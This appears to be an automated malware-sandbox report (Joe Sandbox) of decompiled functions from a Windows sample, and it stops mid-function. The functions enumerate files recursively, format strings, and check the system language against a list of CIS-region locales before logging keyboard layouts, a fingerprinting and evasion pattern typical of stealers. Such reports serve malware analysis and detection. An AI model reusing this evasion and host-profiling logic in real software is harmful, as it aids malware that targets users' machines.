			E002B3EAA(intOrPtr __ecx, void* __edx, void* __eflags, signed short _a4, intOrPtr _a8, char _a12) {
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				struct _WIN32_FIND_DATAW _v616;
				WCHAR* _t29;
				void* _t34;
				void* _t36;
				void* _t37;
				signed int _t45;
				void* _t50;
				void* _t52;
				signed short _t68;
				WCHAR* _t73;
				void* _t77;
				void* _t78;

				_t52 = __edx;
				_v16 = __ecx;
				_t29 = E002B402B(__edx);
				if(_t29 != 0) {
					_t29 = E002B34F0(0x208);
					_t73 = _t29;
					if(_t73 != 0) {
						_t75 = E002B34F0(0x208);
						_v12 = _t75;
						_t82 = _t75;
						if(_t75 == 0) {
							L13:
							return E002B351E(_t73);
						}
						E002B35E8(_t82, _t73, L"%s\\*", __edx);
						_t78 = _t77 + 0xc;
						_t34 = FindFirstFileW(_t73,  &_v616);
						_v20 = _t34;
						if(_t34 == 0xffffffff) {
							L12:
							E002B351E(_t75);
							goto L13;
						} else {
							goto L4;
						}
						do {
							L4:
							_t36 = E002B3623(_t52);
							_t37 = E002B3623( &(_v616.cFileName));
							_t84 = _t37 + 3 + _t36 - 0x104;
							if(_t37 + 3 + _t36 >= 0x104) {
								L10:
								_t75 = _v12;
								goto L11;
							}
							_push( &(_v616.cFileName));
							E002B35E8(_t84, _t73, L"%s\\%s", _t52);
							_t78 = _t78 + 0x10;
							if(_a12 == 0 || (_v616.dwFileAttributes & 0x00000010) == 0 || E002B3713( &(_v616.cFileName), L"..") == 0) {
								L15:
								__eflags = _v616.dwFileAttributes & 0x000000a7;
								if((_v616.dwFileAttributes & 0x000000a7) == 0) {
									goto L10;
								}
								_t68 = _a4;
								_t75 = _v12;
								_t45 = (_t68 & 0x0000ffff) + 1;
								__eflags = _t68;
								_t62 =  !=  ?  &(_t73[_t45]) :  &(_v616.cFileName);
								_push( !=  ?  &(_t73[_t45]) :  &(_v616.cFileName));
								E002B35E8(__eflags, _v12, L"%s%s", _a8);
								E002B3E66(_v16, _t73, __eflags, _t75);
								_t78 = _t78 + 0x14;
							} else {
								_t50 = E002B3713( &(_v616.cFileName), ".");
								_t88 = _t50;
								if(_t50 == 0) {
									goto L15;
								}
								E002B3EAA(_v16, _t73, _t88, _a4, _a8, 1);
								_t78 = _t78 + 0xc;
								goto L10;
							}
							L11:
						} while (FindNextFileW(_v20,  &_v616) != 0);
						goto L12;
					}
				}
				return _t29;
			}

0x002b3eb4
0x002b3eb6
0x002b3ebd
0x002b3ec4
0x002b3ed1
0x002b3ed6
0x002b3eda
0x002b3ee7
0x002b3ee9
0x002b3eec
0x002b3eee
0x002b3fc1
0x00000000
0x002b3fc3
0x002b3efb
0x002b3f00
0x002b3f0b
0x002b3f11
0x002b3f17
0x002b3fba
0x002b3fbc
0x00000000
0x00000000
0x00000000
0x00000000
0x002b3f1d
0x002b3f1d
0x002b3f1f
0x002b3f2c
0x002b3f36
0x002b3f3b
0x002b3f9f
0x002b3f9f
0x00000000
0x002b3f9f
0x002b3f43
0x002b3f4b
0x002b3f50
0x002b3f57
0x002b3fcf
0x002b3fcf
0x002b3fd6
0x00000000
0x00000000
0x002b3fd8
0x002b3fe1
0x002b3fe7
0x002b3fe8
0x002b3fee
0x002b3ff1
0x002b3ffb
0x002b4006
0x002b400b
0x002b3f76
0x002b3f81
0x002b3f86
0x002b3f88
0x00000000
0x00000000
0x002b3f97
0x002b3f9c
0x00000000
0x002b3f9c
0x002b3fa2
0x002b3fb2
0x00000000
0x002b3f1d
0x002b3eda
0x002b3fce

APIs

Part of subcall function 002B402B: GetFileAttributesW.KERNELBASE(00E17728,002B1035,00E17728), ref: 002B402C

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 002B3F0B
FindNextFileW.KERNEL32(002B174B,?), ref: 002B3FAC

Strings

%s%s, xrefs: 002B3FF5
%s\%s, xrefs: 002B3F45
%s\*, xrefs: 002B3EF5

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: File$CriticalFindHeapSection$AllocateAttributesEnterFirstLeaveNextProcess
String ID: %s%s$%s\%s$%s\*
API String ID: 674214967-2064654797
Opcode ID: b94d08e47905c688d4ec091057447dcd9f6c09dd80efc7b7f35ece35882d20c8
Instruction ID: 87ec019247095fcc73e53ff19ce0aeaffe43a1a16d5cb575b6f6ba1a997f88db
Opcode Fuzzy Hash: b94d08e47905c688d4ec091057447dcd9f6c09dd80efc7b7f35ece35882d20c8
Instruction Fuzzy Hash: 5031F271E202296BCB21FE24CC45AFEB7799F80380F4405A5FC05A7291EB359F66CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002B4068 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E002B4068(intOrPtr __ecx, intOrPtr __edx, void* _a4) {
				intOrPtr _v12;
				intOrPtr _v16;
				struct _WIN32_FIND_DATAW _v608;
				signed int _t32;
				signed int _t39;
				WCHAR* _t40;
				int _t46;
				intOrPtr _t48;
				WCHAR* _t49;
				WCHAR* _t59;
				signed int* _t68;
				WCHAR* _t69;

				_t68 = _a4;
				_t48 = __ecx;
				_v12 = __edx;
				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx +  *_t68 * 4)) != 0) {
					_t69 = E002B34F0(0x208);
					__eflags = _t69;
					if(__eflags == 0) {
						L14:
						return _t69;
					}
					E002B35E8(__eflags, _t69, L"%s\\*", _v12);
					_a4 = FindFirstFileW(_t69,  &_v608);
					_t32 = E002B3623(_t69);
					__eflags = _a4 - 0xffffffff;
					 *((short*)(_t69 + _t32 * 2 - 4)) = 0;
					if(_a4 == 0xffffffff) {
						goto L14;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						__eflags = E002B3B10( &(_v608.cFileName), E002B3623( &(_v608.cFileName)) + _t33) -  *((intOrPtr*)(_t48 +  *_t68 * 4));
						if(__eflags == 0) {
							break;
						}
						_t46 = FindNextFileW(_a4,  &_v608);
						__eflags = _t46;
						if(_t46 != 0) {
							continue;
						}
						L11:
						_t39 =  *_t68;
						__eflags =  *(_t48 + _t39 * 4);
						if( *(_t48 + _t39 * 4) == 0) {
							goto L14;
						} else {
							goto L12;
						}
						do {
							L12:
							_t39 = _t39 + 1;
							__eflags =  *(_t48 + _t39 * 4);
						} while ( *(_t48 + _t39 * 4) != 0);
						 *_t68 = _t39;
						goto L14;
					}
					_push( &(_v608.cFileName));
					E002B35E8(__eflags, _t69, L"%s\\%s", _t69);
					 *_t68 =  *_t68 + 1;
					_t49 = E002B4068(_t48, _t69, _t68);
					__eflags = _t49;
					if(_t49 == 0) {
						L10:
						_t48 = _v16;
						goto L11;
					}
					_t40 = E002B3713(_t49, _t69);
					_t59 = _t69;
					__eflags = _t40;
					if(_t40 != 0) {
						E002B36C7(_t59, _t49);
						E002B351E(_t49);
						goto L14;
					}
					E002B36C7(_t59, _v12);
					E002B351E(_t49);
					goto L10;
				}
				return 0;
			}

0x002b4074
0x002b4077
0x002b4079
0x002b407c
0x002b4085
0x002b4098
0x002b409a
0x002b409c
0x002b416d
0x00000000
0x002b416d
0x002b40ab
0x002b40c3
0x002b40c6
0x002b40cd
0x002b40d1
0x002b40d6
0x00000000
0x00000000
0x00000000
0x00000000
0x002b40dc
0x002b40dc
0x002b40f8
0x002b40fb
0x00000000
0x00000000
0x002b4107
0x002b410d
0x002b410f
0x00000000
0x00000000
0x002b415c
0x002b415c
0x002b415e
0x002b4162
0x00000000
0x00000000
0x00000000
0x00000000
0x002b4164
0x002b4164
0x002b4164
0x002b4165
0x002b4165
0x002b416b
0x00000000
0x002b416b
0x002b4119
0x002b4121
0x002b4126
0x002b4132
0x002b4137
0x002b4139
0x002b4159
0x002b4159
0x00000000
0x002b4159
0x002b413f
0x002b4144
0x002b4146
0x002b4148
0x002b4178
0x002b417f
0x00000000
0x002b417f
0x002b414d
0x002b4154
0x00000000
0x002b4154
0x00000000

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 002B40BB
FindNextFileW.KERNEL32(000000FF,?), ref: 002B4107

Part of subcall function 002B351E: GetProcessHeap.KERNEL32(00000000,00000000,002B3026,?,?,?,?,?,?,?,?,?,?,?,002B35DC,?), ref: 002B3525
Part of subcall function 002B351E: RtlFreeHeap.NTDLL(00000000,?,?,?,?,?,?,?,?,?,?,?,002B35DC,?,00000400,?), ref: 002B352C

Strings

%s\%s, xrefs: 002B411B
%s\*, xrefs: 002B40A5

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: FileFindHeap$FirstFreeNextProcess
String ID: %s\%s$%s\*
API String ID: 1689202581-2848263008
Opcode ID: 47e5b40426b9be2b9c31bc86a1b7cb287968a96c0c3ddd1e44f760e5d6ea7345
Instruction ID: ed6bf3a8ae214d1fea8c66856ee942471bf215ea33644d4e943e78c5fb39a72e
Opcode Fuzzy Hash: 47e5b40426b9be2b9c31bc86a1b7cb287968a96c0c3ddd1e44f760e5d6ea7345
Instruction Fuzzy Hash: 4131B930B30215ABCB24FF68CCC5AEE77A9AF557C0F504465E80A97242DB759EA1CF90

Uniqueness

Uniqueness Score: -1.00%

Function 002B2979 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 245
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E002B2979(signed int* __ecx, short* __edx, char* _a4, signed char _a8, intOrPtr _a12) {
				char _v24;
				signed int* _v28;
				short* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short* _v44;
				intOrPtr _v47;
				short* _v48;
				short* _v52;
				intOrPtr _v56;
				signed int _v64;
				signed int _t81;
				int _t82;
				char _t86;
				short* _t88;
				signed int _t89;
				void* _t97;
				signed int _t101;
				signed char _t104;
				signed char _t105;
				short _t113;
				signed int _t114;
				signed int _t118;
				short* _t119;
				int _t120;
				int _t122;
				short* _t123;
				short* _t127;
				char* _t128;
				short* _t131;
				signed int _t133;
				signed int _t135;
				signed char _t136;
				void* _t138;
				char* _t139;
				short* _t140;
				short* _t141;
				signed int* _t145;
				signed char* _t148;
				short _t163;

				_t131 = __edx;
				_t145 = __ecx;
				_v28 = __ecx;
				_t81 =  *__ecx;
				if((_t81 & 0x00000001) != 0) {
					 *__ecx = _t81 & 0xfffffffb;
				}
				_t133 = _a8;
				if(_t145[1] > _t133) {
					_t145[1] = _t133;
				}
				_t118 = _t145[3];
				_t111 = 1;
				if(_t118 == 1) {
					L66:
					_t82 = _t111;
					_t145[2] = _t111;
					L67:
					return _t82;
				}
				if(_t118 == 2) {
					if(_a12 == 0) {
						_t111 = WideCharToMultiByte(0, 0, _t131, 1, 0, 0, 0, 0);
					}
					goto L66;
				}
				if(_t118 == 3) {
					_t119 = 0;
					_v44 = 0;
					if( *_t131 == 0) {
						 *_t131 = "(null)";
					}
					if(_a12 == _t119) {
						while(_t145[2] == 0 || _t119 < _t145[2]) {
							if( *((char*)(_t119 +  *_t131)) == 0) {
								goto L63;
							}
							_t119 = _t119 + 1;
						}
						goto L63;
					} else {
						_t113 =  *_t131;
						while(_t145[2] == 0 || _t119 < _t145[2]) {
							_t86 =  *_t113;
							if(_t86 == 0) {
								break;
							}
							if(IsDBCSLeadByte(_t86) != 0) {
								_t113 = _t113 + 1;
							}
							_t119 = _v47 + 1;
							_v47 = _t119;
							if( *_t113 == 0) {
								break;
							} else {
								_t113 = _t113 + 1;
								continue;
							}
						}
						L63:
						_t120 =  >  ? _t133 : _t119;
						_t145[2] = _t120;
						_t82 = _t120;
						goto L67;
					}
				}
				if(_t118 == 4) {
					_t122 = 0;
					if( *_t131 == 0) {
						 *_t131 = L"(null)";
					}
					_t135 = _t122;
					if(_a12 == _t122) {
						_t88 =  *_t131;
						while(1) {
							_v44 = _t88;
							if(_t145[2] != 0 && _t135 >= _t145[2]) {
								break;
							}
							if( *_t88 == _t122) {
								break;
							}
							_t135 = _t135 + WideCharToMultiByte(_t122, _t122, _t88, _t111, _t122, _t122, _t122, _t122);
							_t88 =  &(_v44[1]);
							_t122 = 0;
						}
						_t89 = _t145[2];
						if(_t89 != 0) {
							_t135 =  >  ? _t89 : _t135;
						}
						goto L46;
					} else {
						while(_t145[2] == _t122 || _t135 < _t145[2]) {
							if( *((intOrPtr*)( *_t131 + _t135 * 2)) == _t122) {
								break;
							}
							_t135 = _t135 + 1;
						}
						L46:
						_t136 =  >  ? _a8 : _t135;
						_t145[2] = _t136;
						L47:
						_t82 = _t136;
						goto L67;
					}
				}
				if(_t118 - 5 > 2) {
					_t82 = 0;
					goto L67;
				} else {
					_t114 =  *_t131;
					_t95 =  ==  ? "0123456789abcdef" : "0123456789ABCDEF";
					_v36 =  ==  ? "0123456789abcdef" : "0123456789ABCDEF";
					_v52 = _t131[2];
					_t97 = 0xa;
					_t138 = 0x10;
					_t98 =  ==  ? _t138 : _t97;
					_t139 = _a4;
					_v40 =  ==  ? _t138 : _t97;
					_v44 = _t139;
					if(_t118 == 5) {
						_t163 = _t131[2];
						if(_t163 <= 0 && (_t163 < 0 || _t114 < 0)) {
							_t128 = _t139;
							 *_t128 = 0x2d;
							_t18 = _t128 + 1; // 0x1
							_t114 =  ~( *_t131);
							_v44 = _t18;
							asm("adc ecx, eax");
							_v52 =  ~(_t131[2]);
						}
					}
					if(( *_t145 & 0x00000080) != 0 || ( *_t145 & 0x00000100) == 0) {
						_v52 = 0;
					}
					_t100 = _v40;
					_t140 =  &_v24;
					_t147 = _v52;
					asm("cdq");
					_t123 = _t131;
					_v32 = _t123;
					do {
						_push(_t114);
						_t101 = E002B6A10(_t114, _t147, _t100, _t123);
						_v64 = _t114;
						_t114 = _t101;
						_t147 = _t131;
						_t100 = _v56;
						 *_t140 =  *((intOrPtr*)(_t123 + _v52));
						_t140 = _t140 + 1;
						_t123 = _v48;
					} while ((_t114 | _t131) != 0);
					_t148 = _v28;
					_v32 = _t140;
					_t141 = _v44;
					if(_t140 <=  &_v24) {
						L22:
						_t104 = _a8;
						 *_t141 = 0;
						_t136 =  >  ? _t104 : _t141 - _a4;
						if(_t148[8] < _t136) {
							_t148[8] = _t136;
						}
						if(_t148[8] > _t104) {
							_t148[8] = _t104;
						}
						if(( *_t148 & 0x00000004) != 0) {
							_t105 = _t148[4];
							if(_t105 > _t148[8]) {
								_t148[8] = _t105;
							}
						}
						if(( *_t148 & 0x00000002) != 0) {
							_t136 = _t136 + 2;
						}
						goto L47;
					}
					_t127 = _v32;
					do {
						_t127 = _t127 - 1;
						 *_t141 =  *_t127;
						_t141 =  &(_t141[0]);
					} while (_t127 >  &_v24);
					goto L22;
				}
			}

0x002b2979
0x002b2984
0x002b2987
0x002b298b
0x002b298f
0x002b2994
0x002b2994
0x002b2996
0x002b299c
0x002b299e
0x002b299e
0x002b29a1
0x002b29a6
0x002b29a9
0x002b2be4
0x002b2be4
0x002b2be6
0x002b2be9
0x002b2bef
0x002b2bef
0x002b29b2
0x002b2bd0
0x002b2be2
0x002b2be2
0x00000000
0x002b2bd0
0x002b29bb
0x002b2b65
0x002b2b67
0x002b2b6d
0x002b2b6f
0x002b2b6f
0x002b2b78
0x002b2baa
0x002b2bbb
0x00000000
0x00000000
0x002b2bbd
0x002b2bbd
0x00000000
0x002b2b7a
0x002b2b7a
0x002b2b7c
0x002b2b87
0x002b2b8b
0x00000000
0x00000000
0x002b2b96
0x002b2b98
0x002b2b98
0x002b2b9d
0x002b2ba1
0x002b2ba5
0x00000000
0x002b2ba7
0x002b2ba7
0x00000000
0x002b2ba7
0x002b2ba5
0x002b2bc0
0x002b2bc2
0x002b2bc5
0x002b2bc8
0x00000000
0x002b2bc8
0x002b2b78
0x002b29c4
0x002b2aef
0x002b2af3
0x002b2af5
0x002b2af5
0x002b2afb
0x002b2b00
0x002b2b17
0x002b2b19
0x002b2b1d
0x002b2b21
0x00000000
0x00000000
0x002b2b2b
0x00000000
0x00000000
0x002b2b3b
0x002b2b41
0x002b2b44
0x002b2b44
0x002b2b48
0x002b2b4d
0x002b2b51
0x002b2b51
0x00000000
0x002b2b02
0x002b2b02
0x002b2b12
0x00000000
0x00000000
0x002b2b14
0x002b2b14
0x002b2b54
0x002b2b57
0x002b2b5b
0x002b2b5e
0x002b2b5e
0x00000000
0x002b2b5e
0x002b2b00
0x002b29d0
0x002b2ae8
0x00000000
0x002b29d6
0x002b29de
0x002b29e5
0x002b29eb
0x002b29f4
0x002b29f8
0x002b29fb
0x002b29fc
0x002b29ff
0x002b2a02
0x002b2a08
0x002b2a0f
0x002b2a11
0x002b2a14
0x002b2a1c
0x002b2a1e
0x002b2a21
0x002b2a29
0x002b2a2b
0x002b2a2f
0x002b2a33
0x002b2a33
0x002b2a14
0x002b2a3a
0x002b2a44
0x002b2a44
0x002b2a48
0x002b2a4c
0x002b2a50
0x002b2a54
0x002b2a55
0x002b2a5b
0x002b2a5f
0x002b2a5f
0x002b2a64
0x002b2a69
0x002b2a6e
0x002b2a70
0x002b2a79
0x002b2a7d
0x002b2a81
0x002b2a84
0x002b2a84
0x002b2a8a
0x002b2a92
0x002b2a98
0x002b2a9c
0x002b2ab0
0x002b2ab0
0x002b2ab3
0x002b2abb
0x002b2ac1
0x002b2ac3
0x002b2ac3
0x002b2ac9
0x002b2acb
0x002b2acb
0x002b2ad1
0x002b2ad3
0x002b2ad9
0x002b2adb
0x002b2adb
0x002b2ad9
0x002b2ae1
0x002b2ae3
0x002b2ae3
0x00000000
0x002b2ae1
0x002b2a9e
0x002b2aa2
0x002b2aa2
0x002b2aa5
0x002b2aab
0x002b2aac
0x00000000
0x002b2aa2

APIs

__aulldvrm.LIBCMT ref: 002B2A64

Strings

@h)w, xrefs: 002B2B35, 002B2BDC
(null), xrefs: 002B2AF5
0123456789abcdef, xrefs: 002B29D9
0123456789ABCDEF, xrefs: 002B29E0
(null), xrefs: 002B2B6F

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: __aulldvrm
String ID: (null)$(null)$0123456789ABCDEF$0123456789abcdef$@h)w
API String ID: 1302938615-1890607639
Opcode ID: ae5c672bbdd2428e2f2f96352c984ffee44efc01d32262df9e754ce9e2509cf0
Instruction ID: 7707aedad1f305d39f43d5be3050a2a67e8c426df0d0418c309ea4cac5dabda2
Opcode Fuzzy Hash: ae5c672bbdd2428e2f2f96352c984ffee44efc01d32262df9e754ce9e2509cf0
Instruction Fuzzy Hash: 2A916070624703CFCB25CF18C8907AAB7E5EF85388F24496EE49A87251DB70EC99CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002B1F03 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E002B1F03() {
				signed int _v5;
				signed int _v6;
				signed int _v12;
				signed char _v16;
				short _v18;
				short _v20;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				struct HKL__* _v236;
				signed char _t65;
				void* _t75;
				void* _t76;
				void* _t77;

				_v36 = 0x419;
				_v34 = 0x422;
				_v32 = 0x423;
				_v30 = 0x42c;
				_v28 = 0x42b;
				_v26 = 0x43f;
				_v24 = 0x440;
				_v22 = 0x438;
				_v20 = 0x428;
				_v18 = 0x443;
				__imp__GetUserDefaultUILanguage();
				_v12 = 0x443;
				_v6 = 0;
				while((_v6 & 0x000000ff) < 0xa) {
					if(( *(_t75 + (_v6 & 0x000000ff) * 2 - 0x20) & 0x0000ffff) == (_v12 & 0x0000ffff)) {
						goto _v36;
					}
					_v6 = _v6 + 1;
				}
				E002B35C3(__eflags, 0, "- SystemLayout %d\r\n", _v12 & 0x0000ffff);
				_t77 = _t76 + 0xc;
				_push("- KeyboardLayouts: ( ");
				_push(0);
				E002B35C3(__eflags);
				_v16 = GetKeyboardLayoutList(0x32,  &_v236);
				__eflags = _v16;
				if(__eflags > 0) {
					_v5 = 0;
					while(1) {
						__eflags = (_v5 & 0x000000ff) - _v16;
						if(__eflags >= 0) {
							goto L11;
						}
						E002B35C3(__eflags, 0, "{%d} ",  *(_t75 + (_v5 & 0x000000ff) * 4 - 0xe8) & 0x0000ffff);
						_t77 = _t77 + 0xc;
						 *(_t75 + (_v5 & 0x000000ff) * 4 - 0xe8) =  *(_t75 + (_v5 & 0x000000ff) * 4 - 0xe8) & 0x00000000;
						_t65 = _v5 + 1;
						__eflags = _t65;
						_v5 = _t65;
					}
				}
				L11:
				_push(" )\r\n");
				_push(0);
				return E002B35C3(__eflags);
			}

0x002b1f11
0x002b1f1a
0x002b1f23
0x002b1f2c
0x002b1f35
0x002b1f3e
0x002b1f47
0x002b1f50
0x002b1f59
0x002b1f62
0x002b1f66
0x002b1f6c
0x002b1f70
0x002b1f7e
0x002b1f96
0x002b1f98
0x002b1f98
0x002b1f7b
0x002b1f7b
0x002b1fa9
0x002b1fae
0x002b1fb1
0x002b1fb6
0x002b1fb8
0x002b1fce
0x002b1fd1
0x002b1fd5
0x002b1fd7
0x002b1fe5
0x002b1fe9
0x002b1fec
0x00000000
0x00000000
0x002b2002
0x002b2007
0x002b200e
0x002b1fe0
0x002b1fe0
0x002b1fe2
0x002b1fe2
0x002b1fe5
0x002b2018
0x002b2018
0x002b201d
0x002b2029

APIs

GetUserDefaultUILanguage.KERNEL32 ref: 002B1F66
GetKeyboardLayoutList.USER32(00000032,?), ref: 002B1FC8

Strings

), xrefs: 002B2018
{%d} , xrefs: 002B1FFB
- SystemLayout %d, xrefs: 002B1FA2
- KeyboardLayouts: ( , xrefs: 002B1FB1

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: DefaultKeyboardLanguageLayoutListUser
String ID: )$- KeyboardLayouts: ( $- SystemLayout %d${%d}
API String ID: 167087913-619012376
Opcode ID: ec6c997bce8cecf84a44b6734d5a3a857982c98012c23050ceb6f9c478e25ced
Instruction ID: 1a6e575b294078341d16aa288ad89e372b88a5fd612b02a4bc603bed58916659
Opcode Fuzzy Hash: ec6c997bce8cecf84a44b6734d5a3a857982c98012c23050ceb6f9c478e25ced
Instruction Fuzzy Hash: 6231D12092C398AADB009FE494027FDBB70EF15341F80549AF548FB2C1D6784B68D76A

Uniqueness

Uniqueness Score: -1.00%

Function 002B306C Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E002B306C(signed int _a4, signed int _a8, signed short* _a12, intOrPtr _a16) {
				char _v5;
				short _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _v36;
				signed int _v40;
				int _v44;
				signed int _v48;
				signed int _v52;
				int _v56;
				short _v60;
				intOrPtr _v64;
				char _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v108;
				signed int _t249;
				void* _t259;
				void* _t274;
				intOrPtr _t305;
				signed int* _t341;
				void* _t343;

				_v16 = _a4;
				L1:
				while(( *_a12 & 0x0000ffff) != 0 && _a8 > 1) {
					if(( *_a12 & 0x0000ffff) == 0x25) {
						_a12 =  &(_a12[1]);
						if(( *_a12 & 0x0000ffff) != 0x25) {
							_t341 =  &_v84;
							_a12 =  &(_a12[E002B27D0(_a12, _t341)]);
							_v28 = _v72;
							if(_v28 == 1) {
								_a16 = _a16 + 4;
								_v68 =  *(_a16 - 4);
							} else {
								if(_v28 == 2) {
									_a16 = _a16 + 4;
									_v68 =  *(_a16 - 4);
								} else {
									if(_v28 == 3) {
										_a16 = _a16 + 4;
										_v68 =  *(_a16 - 4);
									} else {
										if(_v28 == 4) {
											_a16 = _a16 + 4;
											_v68 =  *(_a16 - 4);
										} else {
											if(_v28 <= 4) {
												L24:
												_v68 = 0;
											} else {
												if(_v28 <= 7) {
													if((_v84 & 0x00000080) == 0) {
														if((_v84 & 0x00000100) == 0) {
															_a16 = _a16 + 4;
															asm("cdq");
															_v68 =  *(_a16 - 4);
															_v64 = _t341;
														} else {
															_a16 = _a16 + 8;
															_t305 = _a16;
															_v68 =  *(_t305 - 8);
															_v64 =  *((intOrPtr*)(_t305 - 4));
														}
													} else {
														_a16 = _a16 + 4;
														asm("cdq");
														_v68 =  *(_a16 - 4);
														_v64 = _t341;
													}
												} else {
													goto L24;
												}
											}
										}
									}
								}
							}
							_t249 = E002B2979( &_v84,  &_v68,  &_v108, _a8 - 1, 1);
							_t343 = _t343 + 0xc;
							_v24 = _t249;
							_v48 = _v48 & 0x00000000;
							if((_v84 & 0x00000001) == 0) {
								_v20 = _v76;
								while(_v20 < _v80) {
									_t274 = 0x20;
									 *_v16 = _t274;
									_v16 = _v16 + 2;
									_v20 = _v20 + 1;
									_a8 = _a8 - 1;
								}
							}
							_v36 = _v72;
							if(_v36 > 7) {
								L67:
								if((_v84 & 0x00000001) != 0) {
									_v20 = _v76;
									while(_v20 < _v80) {
										_t259 = 0x20;
										 *_v16 = _t259;
										_v16 = _v16 + 2;
										_v20 = _v20 + 1;
										_a8 = _a8 - 1;
									}
								}
								_a8 = _a8 - _v24;
								continue;
							} else {
								switch( *((intOrPtr*)(_v36 * 4 +  &M002B34D0))) {
									case 0:
										goto L1;
									case 1:
										if(IsDBCSLeadByte(_v68) != 0) {
											L36:
											__eax = 0;
											__ecx = _v16;
											 *__ecx = __ax;
											_v16 = _v16 + 1;
											__eax = _v16 + 2;
											_v16 = _v16 + 2;
										} else {
											 &_v12 =  &_v68;
											if(MultiByteToWideChar(0, 0,  &_v68, 1,  &_v12, 1) <= 0) {
												goto L36;
											} else {
												__eax = _v16;
												 *_v16 = _v12;
												_v16 = _v16 + 1;
												__eax = _v16 + 2;
												_v16 = _v16 + 2;
											}
										}
										goto L67;
									case 2:
										 *_v16 = _v68;
										_v16 = _v16 + 2;
										goto L67;
									case 3:
										__eax = _v68;
										_v32 = _v68;
										_v20 = _v20 & 0x00000000;
										while(1) {
											__eax = _v20;
											if(_v20 >= _v24) {
												break;
											}
											_v32 =  *_v32 & 0x000000ff;
											if(IsDBCSLeadByte( *_v32 & 0x000000ff) == 0) {
												_v40 = 1;
											} else {
												_v40 = 2;
											}
											__eax = _v40;
											_v44 = _v40;
											__eax =  &_v60;
											_v56 = MultiByteToWideChar(0, 0, _v32, _v44,  &_v60, 2);
											__eax = _v16;
											__ecx = _v56;
											 *_v16 =  *((intOrPtr*)(__ebp + __ecx * 2 - 0x3a));
											_v16 = _v16 + 1;
											__eax = _v16 + 2;
											_v16 = _v16 + 2;
											_v32 =  &(_v32[_v44]);
											_v32 =  &(_v32[_v44]);
											_v20 = _v20 + 1;
											_v20 = _v20 + 1;
										}
										goto L67;
									case 4:
										if(_v24 != 0) {
											_v24 = _v24 << 1;
											__edx = _v68;
											__ecx = _v16;
											__eax = E002B3533(_v16, __edx, _v24 << 1);
										}
										__eax = _v24;
										__ecx = _v16;
										__eax = __ecx + _v24 * 2;
										_v16 = __ecx + _v24 * 2;
										goto L67;
									case 5:
										L55:
										0 = 1;
